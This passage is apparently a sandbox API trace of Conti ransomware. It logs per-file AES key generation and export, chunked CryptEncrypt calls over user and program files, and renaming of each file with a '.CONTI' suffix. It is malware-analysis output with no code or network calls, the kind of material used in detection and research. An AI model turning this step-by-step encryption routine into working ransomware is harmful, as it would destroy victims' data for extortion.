	[0117.296] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.CONTI" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi.conti")) returned 1
	[0117.297] GetProcessHeap () returned 0x1720000
	[0117.297] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0117.297] CryptDestroyKey (hKey=0x6b7f638) returned 1
	[0117.297] GetProcessHeap () returned 0x1720000
	[0117.297] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d020 | out: hHeap=0x1720000) returned 1
	[0117.297] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0117.297] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65dc4d0 | out: phKey=0x65dc4d0*=0x6b7f5b8) returned 1
	[0117.297] CryptExportKey (in: hKey=0x6b7f5b8, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dc4d4, pdwDataLen=0x4d3fec4 | out: pbData=0x65dc4d4*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0117.298] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab")) returned 0x20
	[0117.298] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0117.298] GetLastError () returned 0x0
	[0117.298] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=5800228) returned 1
	[0117.298] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x588124
	[0117.298] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.299] SetEndOfFile (hFile=0x390) returned 1
	[0117.299] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.299] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.299] WriteFile (in: hFile=0x390, lpBuffer=0x65dc4d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65dc4d4*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0117.301] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.301] ReadFile (in: hFile=0x390, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x500000, lpOverlapped=0x0) returned 1
	[0122.330] CryptEncrypt (in: hKey=0x6b7f5b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x500000, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x500000) returned 1
	[0122.336] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.336] WriteFile (in: hFile=0x390, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x500000, lpOverlapped=0x0) returned 1
	[0124.194] ReadFile (in: hFile=0x390, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x88124, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x88124, lpOverlapped=0x0) returned 1
	[0124.207] CryptEncrypt (in: hKey=0x6b7f5b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x88124, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x88130) returned 1
	[0124.207] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x500000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.208] WriteFile (in: hFile=0x390, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x88130, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x88130, lpOverlapped=0x0) returned 1
	[0125.121] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.121] WriteFile (in: hFile=0x390, lpBuffer=0x65dc4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65dc4c8*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0129.229] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.229] CloseHandle (hObject=0x390) returned 1
	[0129.597] GetProcessHeap () returned 0x1720000
	[0129.597] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0129.597] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" | out: lpString1="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab"
	[0129.597] lstrcatW (in: lpString1="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.CONTI") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.CONTI"
	[0129.597] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.CONTI" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab.conti")) returned 1
	[0129.598] GetProcessHeap () returned 0x1720000
	[0129.598] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0129.598] CryptDestroyKey (hKey=0x6b7f5b8) returned 1
	[0129.598] GetProcessHeap () returned 0x1720000
	[0129.598] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cdc50 | out: hHeap=0x1720000) returned 1
	[0129.598] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0130.174] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b53de0 | out: phKey=0x6b53de0*=0x17c7ef0) returned 1
	[0130.174] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b53de4, pdwDataLen=0x4d3fec4 | out: pbData=0x6b53de4*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0130.175] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml")) returned 0x20
	[0130.175] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0130.175] GetLastError () returned 0x5
	[0130.175] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0130.175] GetProcessHeap () returned 0x1720000
	[0130.175] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17337d0 | out: hHeap=0x1720000) returned 1
	[0130.175] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0134.007] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b46770 | out: phKey=0x6b46770*=0x17c7ff0) returned 1
	[0134.007] CryptExportKey (in: hKey=0x17c7ff0, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b46774, pdwDataLen=0x4d3fec4 | out: pbData=0x6b46774*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0134.008] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013backup.xml")) returned 0x20
	[0134.008] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013backup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0134.008] GetLastError () returned 0x5
	[0134.008] CryptDestroyKey (hKey=0x17c7ff0) returned 1
	[0134.008] GetProcessHeap () returned 0x1720000
	[0134.008] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c1d88 | out: hHeap=0x1720000) returned 1
	[0134.008] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0134.709] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b46098 | out: phKey=0x6b46098*=0x17c82f0) returned 1
	[0134.709] CryptExportKey (in: hKey=0x17c82f0, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4609c, pdwDataLen=0x4d3fec4 | out: pbData=0x6b4609c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0135.431] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\confident.cov" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\confident.cov")) returned 0x20
	[0135.431] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\confident.cov" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\confident.cov"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0135.431] GetLastError () returned 0x5
	[0135.431] CryptDestroyKey (hKey=0x17c82f0) returned 1
	[0135.431] GetProcessHeap () returned 0x1720000
	[0135.431] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732cc0 | out: hHeap=0x1720000) returned 1
	[0135.431] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0136.735] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b482d0 | out: phKey=0x6b482d0*=0x6b7f0b8) returned 1
	[0136.735] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b482d4, pdwDataLen=0x4d3fec4 | out: pbData=0x6b482d4*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0137.407] GetFileAttributesW (lpFileName="C:\\Users\\Default\\AppData" (normalized: "c:\\users\\default\\appdata")) returned 0x12
	[0137.407] CreateFileW (lpFileName="C:\\Users\\Default\\AppData" (normalized: "c:\\users\\default\\appdata"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0137.407] GetLastError () returned 0x5
	[0137.407] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0137.407] GetProcessHeap () returned 0x1720000
	[0137.407] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7ab0 | out: hHeap=0x1720000) returned 1
	[0137.407] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0137.407] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b504d8 | out: phKey=0x6b504d8*=0x6b7f438) returned 1
	[0137.407] CryptExportKey (in: hKey=0x6b7f438, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b504dc, pdwDataLen=0x4d3fec4 | out: pbData=0x6b504dc*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0137.408] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData" (normalized: "c:\\users\\fd1hvy\\appdata")) returned 0x12
	[0137.408] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData" (normalized: "c:\\users\\fd1hvy\\appdata"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0137.408] GetLastError () returned 0x5
	[0137.409] CryptDestroyKey (hKey=0x6b7f438) returned 1
	[0137.409] GetProcessHeap () returned 0x1720000
	[0137.409] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1738cc8 | out: hHeap=0x1720000) returned 1
	[0137.409] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0137.409] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b4f728 | out: phKey=0x6b4f728*=0x6b7f438) returned 1
	[0137.409] CryptExportKey (in: hKey=0x6b7f438, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4f72c, pdwDataLen=0x4d3fec4 | out: pbData=0x6b4f72c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0137.410] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Application Data" (normalized: "c:\\users\\fd1hvy\\application data")) returned 0x2416
	[0137.410] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Application Data" (normalized: "c:\\users\\fd1hvy\\application data"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0137.410] GetLastError () returned 0x5
	[0137.410] CryptDestroyKey (hKey=0x6b7f438) returned 1
	[0137.410] GetProcessHeap () returned 0x1720000
	[0137.410] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d508 | out: hHeap=0x1720000) returned 1
	[0137.410] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0137.410] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b4f970 | out: phKey=0x6b4f970*=0x6b7f438) returned 1
	[0137.410] CryptExportKey (in: hKey=0x6b7f438, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4f974, pdwDataLen=0x4d3fec4 | out: pbData=0x6b4f974*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0137.411] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Contacts\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\contacts\\desktop.ini")) returned 0x26
	[0137.411] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Contacts\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\contacts\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0137.412] GetLastError () returned 0x0
	[0137.412] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=412) returned 1
	[0137.412] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x19c
	[0137.412] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.412] SetEndOfFile (hFile=0x424) returned 1
	[0137.492] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.492] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.493] WriteFile (in: hFile=0x424, lpBuffer=0x6b4f974*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x6b4f974*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0137.555] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.555] ReadFile (in: hFile=0x424, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x19c, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x19c, lpOverlapped=0x0) returned 1
	[0137.555] CryptEncrypt (in: hKey=0x6b7f438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x19c, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x1a0) returned 1
	[0137.555] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.555] WriteFile (in: hFile=0x424, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x1a0, lpOverlapped=0x0) returned 1
	[0137.555] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.555] WriteFile (in: hFile=0x424, lpBuffer=0x6b4f968*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6b4f968*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0137.555] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.556] CloseHandle (hObject=0x424) returned 1
	[0137.556] GetProcessHeap () returned 0x1720000
	[0137.556] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.556] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Contacts\\desktop.ini" | out: lpString1="C:\\Users\\FD1HVy\\Contacts\\desktop.ini") returned="C:\\Users\\FD1HVy\\Contacts\\desktop.ini"
	[0137.557] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Contacts\\desktop.ini", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Contacts\\desktop.ini.CONTI") returned="C:\\Users\\FD1HVy\\Contacts\\desktop.ini.CONTI"
	[0137.557] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Contacts\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\contacts\\desktop.ini"), lpNewFileName="C:\\Users\\FD1HVy\\Contacts\\desktop.ini.CONTI" (normalized: "c:\\users\\fd1hvy\\contacts\\desktop.ini.conti")) returned 1
	[0137.558] GetProcessHeap () returned 0x1720000
	[0137.558] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.558] CryptDestroyKey (hKey=0x6b7f438) returned 1
	[0137.558] GetProcessHeap () returned 0x1720000
	[0137.558] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bf020 | out: hHeap=0x1720000) returned 1
	[0137.558] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0137.558] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b4e978 | out: phKey=0x6b4e978*=0x6b7f438) returned 1
	[0137.558] CryptExportKey (in: hKey=0x6b7f438, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4e97c, pdwDataLen=0x4d3fec4 | out: pbData=0x6b4e97c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0137.559] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\1awxNt5 1vaT9.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\1awxnt5 1vat9.mkv")) returned 0x20
	[0137.559] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\1awxNt5 1vaT9.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\1awxnt5 1vat9.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0137.559] GetLastError () returned 0x0
	[0137.559] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=1695) returned 1
	[0137.559] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x69f
	[0137.559] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.559] SetEndOfFile (hFile=0x424) returned 1
	[0137.560] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.560] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.560] WriteFile (in: hFile=0x424, lpBuffer=0x6b4e97c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x6b4e97c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0137.562] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.562] ReadFile (in: hFile=0x424, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x69f, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x69f, lpOverlapped=0x0) returned 1
